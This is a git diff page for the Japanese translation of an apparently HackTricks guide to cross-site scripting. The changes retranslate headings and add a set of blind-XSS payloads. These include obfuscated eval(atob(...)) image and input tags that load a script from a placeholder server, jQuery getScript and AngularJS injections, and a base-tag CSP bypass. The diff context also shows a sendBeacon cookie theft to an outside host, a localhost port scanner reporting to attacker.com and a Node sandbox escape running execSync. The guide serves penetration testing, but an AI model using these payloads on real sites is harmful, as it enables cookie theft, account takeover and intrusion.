もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**このレポート**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
||||
|
||||
- import()を使用して
|
||||
```javascript
|
||||
@ -1047,9 +1047,9 @@ console.log(req("child_process").execSync("id").toString())
|
||||
}
|
||||
trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
### オブfuscation & 高度なバイパス
|
||||
|
||||
- **1ページ内の異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **1ページ内の異なるオブfuscation:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
@ -1231,7 +1231,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```
|
||||
## XSSの一般的なペイロード
|
||||
|
||||
### 1つの中にいくつかのペイロード
|
||||
### 1つのペイロードに複数
|
||||
|
||||
{{#ref}}
|
||||
steal-info-js.md
|
||||
@ -1268,7 +1268,7 @@ steal-info-js.md
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法](../hacking-with-cookies/index.html#httponly)があります。
|
||||
> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/index.html#httponly)。
|
||||
|
||||
### ページコンテンツを盗む
|
||||
```javascript
|
||||
@ -1344,7 +1344,7 @@ q.shift()()
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### ポートスキャナー (ウェブソケット)
|
||||
### ポートスキャナー (websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
@ -1471,6 +1471,31 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
|
||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||
<!-- Image tag -->
|
||||
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- Input tag with autofocus -->
|
||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||
|
||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||
|
||||
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||
'"><iframe src="{SERVER}"></iframe>
|
||||
|
||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||
<base href="{SERVER}" />
|
||||
|
||||
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - 隠れたコンテンツへのアクセス
|
||||
|
||||
@ -1518,7 +1543,7 @@ xss-in-markdown.md
|
||||
|
||||
### 動的に作成されたPDFにおけるXSS
|
||||
|
||||
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\
|
||||
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\
|
||||
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。
|
||||
|
||||
{{#ref}}
|
||||
@ -1535,7 +1560,7 @@ pdf-injection.md
|
||||
|
||||
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。
|
||||
|
||||
例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||
|
||||
@ -1612,5 +1637,6 @@ other-js-tricks.md
|
||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user